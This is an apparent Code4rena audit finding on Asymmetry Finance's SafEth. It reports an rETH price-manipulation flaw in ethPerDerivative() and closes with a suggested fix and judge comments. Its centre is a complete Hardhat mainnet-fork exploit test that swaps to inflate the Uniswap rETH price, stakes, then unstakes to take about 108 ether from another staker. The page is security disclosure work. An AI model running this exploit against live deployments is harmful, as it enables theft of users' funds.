Asymmetry contest - a3yip6's results

A protocol to help diversify and decentralize liquid staking derivatives.

General Information

Platform: Code4rena

Start Date: 24/03/2023

Pot Size: $49,200 USDC

Total HM: 20

Participants: 246

Period: 6 days

Judge: Picodes

Total Solo HM: 1

Id: 226

League: ETH

Asymmetry Finance

Findings Distribution

Researcher Performance

Rank: 238/246

Findings: 1

Award: $0.14

🌟 Selected for report: 0

🚀 Solo Findings: 0

Lines of code

https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/derivatives/Reth.sol#L211-L216

Vulnerability details

Impact

When staking Eth to mint SafEth, SafEth:stake() utilizes ethPerDerivative() to calculate the increase of underlying token value. However, under specific circumstances, the return value of Reth:ethPerDerivative() can be manipulated to mint extra SafEth, thus resulting in stealing other users' Eth by unstaking.

function ethPerDerivative(uint256 _amount) public view returns (uint256) { if (poolCanDeposit(_amount)) return RocketTokenRETHInterface(rethAddress()).getEthValue(10 ** 18); else return (poolPrice() * 10 ** 18) / (10 ** 18); }

As shown in the above code, the return value of Reth:ethPerDerivative() is either from Rocket Pool or Uniswap, depending on whether Rocket Pool can still be deposited.

Here is how we attack, during calling stake(), the price of rEth would be calculate twice (i.e., before depositing and after depositing). By staking a specific amount of Eth, we can deposit Eth to mint rETH in Rocket Pool, while calculate the price of rEth in Uniswap. By increasing the price rEth in Uniswap before staking, we mint extra SafEth.

Proof of Concept

In the following test, adminAccount (i.e. attackee) firstly stake 200 ether to SafEth. Attackers (attackerAccount and wEthWhale) manipulate the price in Uniswap (i.e., swapping wEth to rEth, increasing the price of rEth) and also stake 200 ether to SafEth.

After unstaking (both attackers and attackee), attackers steals extra 108 ether and only loss around 1 ether due to Uniswap slippage.

Note that we manipulate the deposit capacity of rEth in our PoC to ensure the rocket pool is not full, since rocketpool's deposit is always full and can not be staked right now (i.e., in the given block). It is rational for us to assume that rocket pool is not full. Also we use a hard-code address (i.e., wEthWhale) to obtain enough wEth.

/* partially copy from SafEth.test.ts */ import { network, ethers } from "hardhat"; import { expect } from "chai"; import { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers"; import { BigNumber } from "ethers"; import { SafEth } from "../typechain-types"; import { initialUpgradeableDeploy } from "./helpers/upgradeHelpers"; import { setStorageAt } from "@nomicfoundation/hardhat-network-helpers"; import { rEthDepositPoolAbi } from "./abi/rEthDepositPoolAbi"; import { rEthProtocolSettingDepositAbi } from "./abi/rEthProtocolSettingDepositAbi"; import { uniRouterAbi } from "./abi/uniRouterAbi"; import { rEthAbi } from "./abi/rEthAbi"; import { wEthAbi } from "./abi/wEthAbi"; import { getDifferenceRatio } from "./SafEth-Integration.test"; describe("a3yip6 PoC for Af Strategy", function(){ let adminAccount: SignerWithAddress; let attackerAccount: SignerWithAddress; let safEthProxy: SafEth; let initialHardhatBlock: number; // so far we may not need this const resetToBlock = async (blockNumber: number) => { await network.provider.request({ method: "hardhat_reset", params: [ { forking: { jsonRpcUrl: process.env.MAINNET_URL, blockNumber, },},],}); safEthProxy = (await initialUpgradeableDeploy()) as SafEth; const accounts = await ethers.getSigners(); adminAccount = accounts[0]; attackerAccount = accounts[1]; }; before(async () => { const latestBlock = await ethers.provider.getBlock("latest"); initialHardhatBlock = latestBlock.number; await resetToBlock(initialHardhatBlock); }); describe("Price Manipulate", function() { it("Should manipuate the price of derivatives", async function(){ let depositAmount = ethers.utils.parseEther("200"); const depositPoolAddress = "0x2cac916b2A963Bf162f076C0a8a4a8200BCFBfb4"; const depositPool = new ethers.Contract( depositPoolAddress, rEthDepositPoolAbi, adminAccount ); // we assume the deposit pool of rETH is in 5150 ether maximum // this assumption is rational after Shanghai upgrade const protocolSettingAddress = "0xcc82c913b9f3a207b332d216b101970e39e59db3"; const storageAddress = "0x1d8f8f00cfa6758d7be78336684788fb0ee0fa46"; const protocolSettingDeposit = new ethers.Contract( protocolSettingAddress, rEthProtocolSettingDepositAbi, adminAccount ); const settingNameSpace = ethers.utils.keccak256(ethers.utils.solidityPack( ["string","string"],["dao.protocol.setting.", "deposit"] )); const mappingKey = ethers.utils.keccak256(ethers.utils.solidityPack( ["bytes32", "string"], [settingNameSpace, "deposit.pool.maximum"] )); const slotKey = ethers.utils.keccak256(ethers.utils.solidityPack( ["bytes32", "uint256"], [mappingKey, 2] )); await setStorageAt( storageAddress, slotKey, "0x0000000000000000000000000000000000000000000001172E9B72216DB80000" ); expect(await protocolSettingDeposit.getMaximumDepositPoolSize()) .eq(ethers.utils.parseEther("5150")) /* * let admin (i.e., attackee) stake first */ const adminStartingBalance = await adminAccount.getBalance(); await safEthProxy.connect(adminAccount).stake({value: depositAmount}); /* * let's hack!!! */ // step 1: increase the price of Uniswap pool const wEthWhale = await ethers .getImpersonatedSigner("0x57757E3D981446D585Af0D9Ae4d7DF6D64647806"); await attackerAccount.sendTransaction({ to: wEthWhale.address, value: ethers.utils.parseEther("1"), gasLimit: 2100000, }); const uniRouterAddress = "0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45"; const uniRouter = new ethers.Contract( uniRouterAddress, uniRouterAbi, adminAccount ); const rEthAddress = "0xae78736Cd615f374D3085123A210448E74Fc6393"; const rEth = new ethers.Contract( rEthAddress, rEthAbi, adminAccount ); await rEth.connect(wEthWhale) .approve(uniRouterAddress, ethers.constants.MaxUint256); const wEthAddress = "0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2"; const wEth = new ethers.Contract( wEthAddress, wEthAbi, adminAccount ); await wEth.connect(wEthWhale) .approve(uniRouterAddress, ethers.constants.MaxUint256); const wEthWhaleStartingBalance = await wEth.balanceOf(wEthWhale.address); const input1 = { tokenIn: wEth.address, tokenOut: rEth.address, fee: 500, recipient: wEthWhale.address, amountIn: ethers.utils.parseEther("1429.725"), amountOutMinimum: 0, sqrtPriceLimitX96: 0, } await uniRouter.connect(wEthWhale).exactInputSingle(input1); // step 2: let attacker stake (in a manipulated price) const attackerStartingBalance = await attackerAccount.getBalance(); await safEthProxy.connect(attackerAccount).stake({value: depositAmount}); // step 3: recover the price of Uniswap (with acceptable loss) const input2 = { tokenIn: rEth.address, tokenOut: wEth.address, fee: 500, recipient: wEthWhale.address, amountIn: await rEth.balanceOf(wEthWhale.address), amountOutMinimum: 0, sqrtPriceLimitX96: 0, } await uniRouter.connect(wEthWhale).exactInputSingle(input2); const wEthWhaleFinalBalance = await wEth.balanceOf(wEthWhale.address); // step 4: let attacker & admin unstake, and check how much ETH are left await safEthProxy.connect(attackerAccount).unstake( await safEthProxy.balanceOf(attackerAccount.address) ); const attackerFinalBalance = await attackerAccount.getBalance(); await safEthProxy.connect(adminAccount).unstake( await safEthProxy.balanceOf(adminAccount.address) ); const adminFinalBalance = await adminAccount.getBalance(); const attackerGain = attackerFinalBalance.sub(attackerStartingBalance); const whaleLoss = wEthWhaleStartingBalance.sub(wEthWhaleFinalBalance); const adminLoss = adminStartingBalance.sub(adminFinalBalance); expect(attackerGain.sub(whaleLoss)).gt(0); expect(within1Percent(depositAmount, depositAmount.sub(adminLoss)) ).eq(false); console.log('the profit of attacker: %d', attackerGain.div(BigNumber.from( "1000000000000000000"))); //107 ether console.log('the loss of admin: %d', adminLoss.div(BigNumber.from( "1000000000000000000"))); //108 ether }); }); const within1Percent = (amount1: BigNumber, amount2: BigNumber) => { if (amount1.eq(amount2)) return true; return getDifferenceRatio(amount1, amount2).gt("100"); }; });

Tools Used

we use the same environment as the given github project. Additionally, we also collect the ABI information of rEth, Uniswap Router, and wEth for our PoC.

Update the Reth:ethPerDerivative() function by specify using which pool (rocket pool or uniswap) to calculate rEth price.

function ethPerDerivative(uint256 poolIndex) public view returns (uint256) { if (poolIndex == 1) return RocketTokenRETHInterface(rethAddress()).getEthValue(10 ** 18); else return (poolPrice() * 10 ** 18) / (10 ** 18); }

Additional, the implementation of SafEth:stake() should be correspondingly change to ensure the price of rEth depends on a single pool within one transaction. Also, those interface contract need to be changed. We would like to emphasize that such modification does not affect other derivatives.

#0 - c4-pre-sort

2023-04-04T11:44:37Z

0xSorryNotSorry marked the issue as duplicate of #601

#1 - c4-judge

2023-04-21T16:11:13Z

Picodes marked the issue as duplicate of #1125

#2 - c4-judge

2023-04-21T16:14:04Z

Picodes marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter